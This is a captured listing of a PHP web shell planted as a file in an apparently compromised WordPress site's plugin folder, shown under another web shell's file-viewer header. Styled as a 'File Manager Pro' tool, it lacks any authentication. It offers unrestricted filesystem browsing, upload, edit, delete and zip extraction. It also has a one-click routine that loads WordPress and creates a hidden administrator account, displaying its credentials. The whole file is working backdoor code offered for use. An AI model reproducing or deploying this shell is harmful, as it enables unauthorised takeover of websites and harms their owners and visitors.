HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/kohkae789-x.com/public_html/wp-content/plugins/rqpdsjj/wp-xmc.php
<?php

error_reporting(0);

// =============================================
// INITIALIZATION WITH FULL NAVIGATION
// =============================================

$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$current_dir = realpath($current_dir);
if ($current_dir === false) {
    $current_dir = getcwd();
}

$parent_dir = dirname($current_dir);
if ($parent_dir == $current_dir) {
    $parent_dir = false;
}

// =============================================
// CORE FUNCTIONS
// =============================================

function formatSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        return $bytes . ' bytes';
    } elseif ($bytes == 1) {
        return $bytes . ' byte';
    }
    return '0 bytes';
}

function generateRandomPassword($length = 12) {
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*';
    $password = '';
    $max = strlen($chars) - 1;
    for ($i = 0; $i < $length; $i++) {
        $password .= $chars[random_int(0, $max)];
    }
    return $password;
}

// =============================================
// ZIP EXTRACTION - EXTRACT HERE (NO SUBFOLDER)
// =============================================

function extractZipHere($zip_path, $destination_dir) {
    if (!class_exists('ZipArchive')) {
        return ['success' => false, 'error' => 'ZipArchive class not found. PHP zip extension missing.'];
    }
    
    $zip = new ZipArchive;
    $extract_count = 0;
    $errors = [];
    $extracted_files = [];
    
    if ($zip->open($zip_path) === TRUE) {
        // First, get all files and create a map to handle duplicates
        $file_map = [];
        
        for ($i = 0; $i < $zip->numFiles; $i++) {
            $filename = $zip->getNameIndex($i);
            
            // Skip directories (they'll be created as needed)
            if (substr($filename, -1) == '/') {
                // Create empty directory if needed
                $dir_path = $destination_dir . '/' . rtrim($filename, '/');
                if (!is_dir($dir_path)) {
                    @mkdir($dir_path, 0755, true);
                }
                continue;
            }
            
            // Get just the filename without path
            $basename = basename($filename);
            
            // Handle duplicate filenames
            $target_name = $basename;
            $counter = 1;
            
            // Check if we already have this filename in our map
            while (isset($file_map[$target_name])) {
                $path_parts = pathinfo($basename);
                if (isset($path_parts['extension'])) {
                    $target_name = $path_parts['filename'] . '_' . $counter . '.' . $path_parts['extension'];
                } else {
                    $target_name = $basename . '_' . $counter;
                }
                $counter++;
            }
            
            $file_map[$target_name] = $filename;
        }
        
        // Now extract all files with their new names
        foreach ($file_map as $target_name => $original_filename) {
            $target_path = $destination_dir . '/' . $target_name;
            
            // Get file content and write
            $content = $zip->getFromName($original_filename);
            if ($content !== false) {
                if (file_put_contents($target_path, $content) !== false) {
                    $extract_count++;
                    $extracted_files[] = $target_name;
                } else {
                    $errors[] = "Failed to write: $target_name";
                }
            } else {
                $errors[] = "Failed to read: $original_filename";
            }
        }
        
        $zip->close();
        
        return [
            'success' => true, 
            'count' => $extract_count, 
            'errors' => $errors,
            'files' => $extracted_files
        ];
    } else {
        return ['success' => false, 'error' => 'Cannot open zip file (corrupted or invalid)'];
    }
}

// =============================================
// ACTION HANDLERS
// =============================================

$message = '';
$message_type = '';

// Handle ZIP extraction
if (isset($_GET['extract'])) {
    $zip_to_extract = $current_dir . '/' . basename($_GET['extract']);
    
    if (file_exists($zip_to_extract) && is_file($zip_to_extract)) {
        $extension = strtolower(pathinfo($zip_to_extract, PATHINFO_EXTENSION));
        if ($extension == 'zip') {
            $result = extractZipHere($zip_to_extract, $current_dir);
            
            if ($result['success']) {
                $file_list = implode(', ', array_slice($result['files'], 0, 5));
                if (count($result['files']) > 5) {
                    $file_list .= ' and ' . (count($result['files']) - 5) . ' more';
                }
                $message = "✅ Extracted {$result['count']} files from " . basename($_GET['extract']) . "<br><small>Files: $file_list</small>";
                if (!empty($result['errors'])) {
                    $message .= "<br>⚠️ " . count($result['errors']) . " errors occurred";
                }
                $message_type = 'success';
            } else {
                $message = "❌ Extraction failed: " . $result['error'];
                $message_type = 'error';
            }
        } else {
            $message = "❌ Not a zip file";
            $message_type = 'error';
        }
    } else {
        $message = "❌ Zip file not found";
        $message_type = 'error';
    }
}

// WordPress Admin Creation
if (isset($_GET['wpadmin'])) {
    $wp_path = $current_dir;
    $found = false;
    
    while ($wp_path != '/' && $wp_path != '') {
        if (file_exists($wp_path . '/wp-load.php') || file_exists($wp_path . '/wp-config.php')) {
            $found = true;
            break;
        }
        $wp_path = dirname($wp_path);
    }
    
    if ($found && file_exists($wp_path . '/wp-load.php')) {
        require_once($wp_path . '/wp-load.php');
        
        $username = 'admin_' . substr(md5(time()), 0, 8);
        $password = generateRandomPassword();
        $email = $username . '@' . substr(md5($wp_path), 0, 6) . '.local';
        
        if (function_exists('wp_create_user')) {
            if (!username_exists($username) && !email_exists($email)) {
                $user_id = wp_create_user($username, $password, $email);
                
                if (!is_wp_error($user_id)) {
                    $user = new WP_User($user_id);
                    $user->set_role('administrator');
                    
                    $message = "✅ WordPress Admin Created<br><strong>User:</strong> $username<br><strong>Pass:</strong> $password";
                    $message_type = 'success';
                } else {
                    $message = "❌ Error: " . $user_id->get_error_message();
                    $message_type = 'error';
                }
            } else {
                $message = "⚠️ User already exists";
                $message_type = 'warning';
            }
        } else {
            $message = "❌ WordPress not loaded";
            $message_type = 'error';
        }
    } else {
        $message = "❌ WordPress not found";
        $message_type = 'error';
    }
}

// File upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
    $uploaded_file = $_FILES['upload_file'];
    if ($uploaded_file['error'] === UPLOAD_ERR_OK) {
        $target_path = $current_dir . '/' . basename($uploaded_file['name']);
        if (move_uploaded_file($uploaded_file['tmp_name'], $target_path)) {
            $message = "✅ Uploaded: " . basename($uploaded_file['name']);
            $message_type = 'success';
        } else {
            $message = "❌ Upload failed";
            $message_type = 'error';
        }
    }
}

// Directory creation
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_dir'])) {
    $dir_name = trim($_POST['dir_name']);
    if (!empty($dir_name)) {
        $new_dir = $current_dir . '/' . preg_replace('/[^\w\-\.]/', '', $dir_name);
        if (!file_exists($new_dir)) {
            if (mkdir($new_dir, 0755)) {
                $message = "✅ Created: " . htmlspecialchars($dir_name);
                $message_type = 'success';
            } else {
                $message = "❌ Creation failed";
                $message_type = 'error';
            }
        } else {
            $message = "⚠️ Already exists";
            $message_type = 'warning';
        }
    }
}

// File deletion
if (isset($_GET['delete'])) {
    $file_to_delete = $current_dir . '/' . basename($_GET['delete']);
    if (file_exists($file_to_delete)) {
        if (is_dir($file_to_delete)) {
            $success = rmdir($file_to_delete);
        } else {
            $success = unlink($file_to_delete);
        }
        if ($success) {
            header("Location: ?dir=" . urlencode($current_dir));
            exit;
        }
    }
}

// File editing
if (isset($_GET['edit'])) {
    $file_to_edit = $current_dir . '/' . basename($_GET['edit']);
    if (file_exists($file_to_edit) && is_file($file_to_edit)) {
        $file_content = file_get_contents($file_to_edit);
        
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_content'])) {
            if (file_put_contents($file_to_edit, $_POST['file_content']) !== false) {
                $message = "✅ Saved: " . htmlspecialchars(basename($_GET['edit']));
                $message_type = 'success';
                $file_content = $_POST['file_content'];
            }
        }
    }
}

// =============================================
// DIRECTORY SCANNING
// =============================================

$folders = [];
$files = [];

if (is_dir($current_dir) && is_readable($current_dir)) {
    $items = scandir($current_dir);
    if ($items !== false) {
        foreach ($items as $item) {
            if ($item == '.' || $item == '..') continue;
            
            $full_path = $current_dir . '/' . $item;
            
            if (is_dir($full_path)) {
                $folders[] = [
                    'name' => $item,
                    'path' => $full_path,
                    'modified' => filemtime($full_path),
                    'permissions' => substr(sprintf('%o', fileperms($full_path)), -3)
                ];
            } else {
                $files[] = [
                    'name' => $item,
                    'path' => $full_path,
                    'size' => filesize($full_path),
                    'modified' => filemtime($full_path),
                    'permissions' => substr(sprintf('%o', fileperms($full_path)), -3),
                    'extension' => strtolower(pathinfo($item, PATHINFO_EXTENSION))
                ];
            }
        }
    }
}

// Sort
usort($folders, fn($a, $b) => strcmp($a['name'], $b['name']));
usort($files, fn($a, $b) => strcmp($a['name'], $b['name']));

// =============================================
// BREADCRUMBS
// =============================================

$breadcrumbs = [];
$parts = explode('/', trim($current_dir, '/'));
$path = '';

$breadcrumbs[] = ['name' => '🌐 Root', 'path' => '/'];
foreach ($parts as $part) {
    if (!empty($part)) {
        $path .= '/' . $part;
        $breadcrumbs[] = ['name' => $part, 'path' => $path];
    }
}

// System roots
$system_roots = [
    '/' => 'Root',
    '/home' => 'Home',
    '/var' => 'Var',
    '/tmp' => 'Temp',
    '/etc' => 'Config',
];

// =============================================
// UI RENDERING
// =============================================
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager Pro + Zip Extractor</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
        }

        body {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }

        .container {
            max-width: 1400px;
            margin: 0 auto;
            background: white;
            border-radius: 15px;
            box-shadow: 0 20px 40px rgba(0, 0, 0, 0.1);
            overflow: hidden;
        }

        .header {
            background: linear-gradient(135deg, #4f46e5 0%, #7c3aed 100%);
            color: white;
            padding: 25px 30px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .header-left h1 {
            font-size: 28px;
            margin-bottom: 5px;
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .extract-badge {
            background: #fbbf24;
            color: #1e293b;
            padding: 4px 12px;
            border-radius: 30px;
            font-size: 0.8rem;
            font-weight: 600;
            margin-left: 15px;
        }

        .breadcrumbs {
            background: #f8fafc;
            padding: 15px 30px;
            border-bottom: 1px solid #e2e8f0;
            font-size: 14px;
        }

        .breadcrumbs a {
            color: #4f46e5;
            text-decoration: none;
            padding: 5px 8px;
            border-radius: 4px;
        }

        .breadcrumbs a:hover {
            background: #f1f5f9;
        }

        .quick-nav {
            background: #f1f5f9;
            padding: 15px 30px;
            border-bottom: 1px solid #e2e8f0;
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }

        .nav-btn {
            padding: 8px 15px;
            background: white;
            border: 1px solid #cbd5e1;
            color: #475569;
            text-decoration: none;
            border-radius: 6px;
            font-size: 13px;
        }

        .nav-btn:hover {
            background: #4f46e5;
            color: white;
            border-color: #4f46e5;
        }

        .root-btn {
            padding: 8px 15px;
            background: #ecfdf5;
            border: 1px solid #10b981;
            color: #047857;
            text-decoration: none;
            border-radius: 6px;
            font-size: 13px;
            font-weight: 600;
        }

        .root-btn:hover {
            background: #10b981;
            color: white;
        }

        .controls {
            padding: 20px 30px;
            background: #f1f5f9;
            border-bottom: 1px solid #e2e8f0;
            display: flex;
            flex-wrap: wrap;
            gap: 15px;
        }

        .controls form {
            display: flex;
            gap: 10px;
            align-items: center;
        }

        .btn {
            padding: 10px 20px;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-weight: 600;
            font-size: 14px;
            display: inline-flex;
            align-items: center;
            gap: 8px;
            transition: all 0.3s;
            text-decoration: none;
        }

        .btn-primary {
            background: #4f46e5;
            color: white;
        }

        .btn-primary:hover {
            background: #4338ca;
            transform: translateY(-2px);
        }

        .btn-success {
            background: #10b981;
            color: white;
        }

        .btn-success:hover {
            background: #059669;
            transform: translateY(-2px);
        }

        .btn-warning {
            background: #f59e0b;
            color: white;
        }

        .btn-warning:hover {
            background: #d97706;
        }

        .btn-extract {
            background: #8b5cf6;
            color: white;
        }

        .btn-extract:hover {
            background: #7c3aed;
        }

        input[type="text"],
        input[type="file"] {
            padding: 10px 15px;
            border: 2px solid #e2e8f0;
            border-radius: 8px;
            font-size: 14px;
            min-width: 200px;
        }

        .content {
            padding: 30px;
            display: grid;
            grid-template-columns: 1fr 300px;
            gap: 30px;
        }

        .main-content {
            min-height: 600px;
        }

        .sidebar {
            background: #f8fafc;
            border-radius: 10px;
            padding: 20px;
            border: 1px solid #e2e8f0;
        }

        .sidebar-section {
            margin-bottom: 25px;
        }

        .sidebar-title {
            font-size: 16px;
            font-weight: 600;
            margin-bottom: 15px;
            color: #334155;
            padding-bottom: 10px;
            border-bottom: 2px solid #e2e8f0;
        }

        .section-title {
            font-size: 18px;
            font-weight: 600;
            margin: 25px 0 15px 0;
            color: #334155;
            padding-bottom: 10px;
            border-bottom: 2px solid #e2e8f0;
        }

        .folder-grid, .file-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
            gap: 15px;
            margin-bottom: 30px;
        }

        .folder-item, .file-item {
            background: white;
            border: 1px solid #e2e8f0;
            border-radius: 10px;
            padding: 20px;
            transition: all 0.3s;
        }

        .folder-item:hover, .file-item:hover {
            border-color: #4f46e5;
            box-shadow: 0 10px 20px rgba(0, 0, 0, 0.08);
            transform: translateY(-3px);
        }

        .folder-icon { color: #f59e0b; font-size: 24px; margin-bottom: 15px; }
        .file-icon { color: #4f46e5; font-size: 24px; margin-bottom: 15px; }

        .item-name {
            font-weight: 600;
            font-size: 16px;
            margin-bottom: 8px;
            word-break: break-all;
        }

        .item-meta {
            font-size: 12px;
            color: #64748b;
            margin-bottom: 15px;
        }

        .item-actions {
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
        }

        .action-btn {
            padding: 6px 12px;
            border-radius: 6px;
            font-size: 12px;
            text-decoration: none;
            transition: all 0.3s;
        }

        .action-open { background: #dbeafe; color: #1d4ed8; }
        .action-edit { background: #fef3c7; color: #92400e; }
        .action-delete { background: #fee2e2; color: #dc2626; }
        .action-extract { background: #ede9fe; color: #6d28d9; }

        .action-extract:hover { background: #8b5cf6; color: white; }

        .alert {
            padding: 15px 20px;
            border-radius: 8px;
            margin-bottom: 20px;
            border-left: 4px solid;
            animation: slideIn 0.3s ease;
        }

        @keyframes slideIn {
            from { opacity: 0; transform: translateY(-10px); }
            to { opacity: 1; transform: translateY(0); }
        }

        .alert-success { background: #d1fae5; border-color: #10b981; color: #065f46; }
        .alert-error { background: #fee2e2; border-color: #ef4444; color: #991b1b; }
        .alert-warning { background: #fef3c7; border-color: #f59e0b; color: #92400e; }

        .editor-container {
            background: white;
            border-radius: 10px;
            border: 1px solid #e2e8f0;
            overflow: hidden;
        }

        .editor-header {
            background: #f8fafc;
            padding: 20px;
            border-bottom: 1px solid #e2e8f0;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .editor-content textarea {
            width: 100%;
            min-height: 500px;
            padding: 20px;
            border: none;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            resize: vertical;
        }

        .editor-footer {
            padding: 20px;
            background: #f8fafc;
            border-top: 1px solid #e2e8f0;
            text-align: right;
        }

        .empty-state {
            text-align: center;
            padding: 50px 20px;
            color: #64748b;
        }

        .status-bar {
            padding: 15px 30px;
            background: #f8fafc;
            border-top: 1px solid #e2e8f0;
            font-size: 14px;
            color: #64748b;
            display: flex;
            justify-content: space-between;
        }

        .zip-icon { color: #f59e0b; }
        .wp-creds { background: #f0f9ff; border: 1px solid #0ea5e9; border-radius: 8px; padding: 15px; margin-top: 20px; }

        @media (max-width: 1024px) {
            .content { grid-template-columns: 1fr; }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div class="header-left">
                <h1>🚀 File Manager Pro 
                    <span class="extract-badge">Extract Here Mode</span>
                </h1>
                <p>Full system navigation + ZIP extract to current folder</p>
            </div>
            <div class="header-right">
                <a href="?" class="btn btn-primary">🏠 Home</a>
            </div>
        </div>

        <div class="breadcrumbs">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <a href="?dir=<?php echo urlencode($crumb['path']); ?>">
                    <?php echo htmlspecialchars($crumb['name']); ?>
                </a>
                <?php if ($index < count($breadcrumbs) - 1): ?> / <?php endif; ?>
            <?php endforeach; ?>
        </div>

        <div class="quick-nav">
            <span style="font-weight: 600; margin-right: 10px;">📌 Quick:</span>
            <?php if ($parent_dir): ?>
            <a href="?dir=<?php echo urlencode($parent_dir); ?>" class="nav-btn">⬆️ Parent</a>
            <?php endif; ?>
            
            <?php foreach ($system_roots as $path => $name): ?>
                <?php if (is_dir($path)): ?>
                <a href="?dir=<?php echo urlencode($path); ?>" class="root-btn">📍 <?php echo $name; ?></a>
                <?php endif; ?>
            <?php endforeach; ?>
        </div>

        <div class="controls">
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="upload_file" required>
                <button type="submit" class="btn btn-primary">📤 Upload</button>
            </form>
            
            <form method="post">
                <input type="text" name="dir_name" placeholder="New folder name" required>
                <button type="submit" name="create_dir" value="1" class="btn btn-success">📁 Create</button>
            </form>
            
            <a href="?dir=<?php echo urlencode($current_dir); ?>&wpadmin=1" class="btn btn-warning">⚡ WP Admin</a>
            <a href="?dir=<?php echo urlencode($current_dir); ?>" class="btn btn-primary">🔄 Refresh</a>
        </div>

        <?php if ($message): ?>
        <div style="padding: 0 30px;">
            <div class="alert alert-<?php echo $message_type; ?>">
                <?php echo $message; ?>
            </div>
        </div>
        <?php endif; ?>

        <div class="content">
            <div class="main-content">
                <?php if (isset($file_content)): ?>
                <!-- Editor -->
                <div class="editor-container">
                    <div class="editor-header">
                        <h3>✏️ Editing: <?php echo basename($_GET['edit']); ?></h3>
                        <a href="?dir=<?php echo urlencode($current_dir); ?>" class="btn btn-primary">← Back</a>
                    </div>
                    <form method="post">
                        <div class="editor-content">
                            <textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea>
                        </div>
                        <div class="editor-footer">
                            <button type="submit" class="btn btn-success">💾 Save</button>
                        </div>
                    </form>
                </div>
                <?php else: ?>

                <!-- Folders -->
                <?php if (!empty($folders)): ?>
                <div class="section-title">📁 Folders (<?php echo count($folders); ?>)</div>
                <div class="folder-grid">
                    <?php foreach ($folders as $folder): ?>
                    <div class="folder-item">
                        <div class="folder-icon">📁</div>
                        <div class="item-name"><?php echo htmlspecialchars($folder['name']); ?></div>
                        <div class="item-meta">
                            Modified: <?php echo date('Y-m-d H:i', $folder['modified']); ?><br>
                            Perm: <?php echo $folder['permissions']; ?>
                        </div>
                        <div class="item-actions">
                            <a href="?dir=<?php echo urlencode($folder['path']); ?>" class="action-btn action-open">Open</a>
                            <a href="?dir=<?php echo urlencode($current_dir); ?>&delete=<?php echo urlencode($folder['name']); ?>" class="action-btn action-delete" onclick="return confirm('Delete folder?')">Delete</a>
                        </div>
                    </div>
                    <?php endforeach; ?>
                </div>
                <?php endif; ?>

                <!-- Files -->
                <?php if (!empty($files)): ?>
                <div class="section-title">📄 Files (<?php echo count($files); ?>)</div>
                <div class="file-grid">
                    <?php foreach ($files as $file): 
                        $icon = '📄';
                        $is_zip = false;
                        if ($file['extension'] == 'php') $icon = '🐘';
                        elseif (in_array($file['extension'], ['jpg','png','gif','jpeg'])) $icon = '🖼️';
                        elseif ($file['extension'] == 'zip') { 
                            $icon = '📦';
                            $is_zip = true;
                        }
                    ?>
                    <div class="file-item">
                        <div class="file-icon <?php echo $is_zip ? 'zip-icon' : ''; ?>"><?php echo $icon; ?></div>
                        <div class="item-name"><?php echo htmlspecialchars($file['name']); ?></div>
                        <div class="item-meta">
                            Size: <?php echo formatSize($file['size']); ?><br>
                            Modified: <?php echo date('Y-m-d H:i', $file['modified']); ?>
                        </div>
                        <div class="item-actions">
                            <a href="?dir=<?php echo urlencode($current_dir); ?>&edit=<?php echo urlencode($file['name']); ?>" class="action-btn action-edit">Edit</a>
                            <?php if ($is_zip): ?>
                            <a href="?dir=<?php echo urlencode($current_dir); ?>&extract=<?php echo urlencode($file['name']); ?>" class="action-btn action-extract" onclick="return confirm('Extract ALL contents directly to current folder? (No subfolder)')">📦 Extract Here</a>
                            <?php endif; ?>
                            <a href="?dir=<?php echo urlencode($current_dir); ?>&delete=<?php echo urlencode($file['name']); ?>" class="action-btn action-delete" onclick="return confirm('Delete file?')">Delete</a>
                        </div>
                    </div>
                    <?php endforeach; ?>
                </div>
                <?php endif; ?>

                <?php if (empty($folders) && empty($files)): ?>
                <div class="empty-state">
                    <div style="font-size: 48px; margin-bottom: 20px;">📁</div>
                    <h3>Empty Folder</h3>
                    <p>Upload files or create subfolders</p>
                </div>
                <?php endif; ?>
                <?php endif; ?>
            </div>

            <div class="sidebar">
                <div class="sidebar-section">
                    <div class="sidebar-title">⚙️ System Info</div>
                    <div style="font-size: 13px; color: #475569;">
                        <p><strong>Current:</strong><br><?php echo htmlspecialchars($current_dir); ?></p>
                        <p><strong>Items:</strong> <?php echo count($folders); ?> folders, <?php echo count($files); ?> files</p>
                        <p><strong>Free:</strong> <?php echo formatSize(disk_free_space($current_dir)); ?></p>
                        <p><strong>PHP:</strong> <?php echo PHP_VERSION; ?></p>
                    </div>
                </div>

                <div class="sidebar-section">
                    <div class="sidebar-title">📦 Extract Info</div>
                    <div style="background: #ede9fe; padding: 15px; border-radius: 8px; color: #5b21b6;">
                        <strong>Extract Here Mode</strong><br>
                        ZIP files extract directly to current folder<br>
                        <small>• No subfolder created</small><br>
                        <small>• Duplicates get _1, _2 suffix</small>
                    </div>
                </div>

                <div class="sidebar-section">
                    <div class="sidebar-title">🚀 Quick Actions</div>
                    <div style="display: flex; flex-direction: column; gap: 10px;">
                        <a href="?dir=<?php echo urlencode(dirname(__FILE__)); ?>" class="btn btn-primary">📍 Script Location</a>
                        <a href="?dir=/var/www" class="btn btn-info">🌐 Web Root</a>
                        <a href="?dir=/tmp" class="btn btn-warning">🗑️ Temp</a>
                    </div>
                </div>

                <?php if (isset($username)): ?>
                <div class="sidebar-section">
                    <div class="sidebar-title">🔑 WordPress</div>
                    <div class="wp-creds">
                        <p><strong>User:</strong> <?php echo $username; ?></p>
                        <p><strong>Pass:</strong> <?php echo $password; ?></p>
                        <p><em>Click to copy</em></p>
                    </div>
                </div>
                <?php endif; ?>
            </div>
        </div>

        <div class="status-bar">
            <span>📁 <?php echo htmlspecialchars($current_dir); ?></span>
            <span>📊 <?php echo count($folders) + count($files); ?> items | ZIP: Extract Here</span>
        </div>
    </div>

    <script>
        setTimeout(() => {
            document.querySelectorAll('.alert').forEach(el => {
                el.style.opacity = '0';
                setTimeout(() => el.remove(), 500);
            });
        }, 8000);

        document.querySelectorAll('.wp-creds p').forEach(el => {
            el.addEventListener('click', function() {
                const text = this.innerText.split(': ')[1] || this.innerText;
                navigator.clipboard.writeText(text);
                const original = this.innerText;
                this.innerText = '✅ Copied!';
                setTimeout(() => this.innerText = original, 1500);
            });
        });

        document.addEventListener('keydown', e => {
            if (e.ctrlKey && e.key === 's' && document.querySelector('textarea')) {
                e.preventDefault();
                document.querySelector('button[type="submit"]').click();
            }
        });
    </script>
</body>
</html>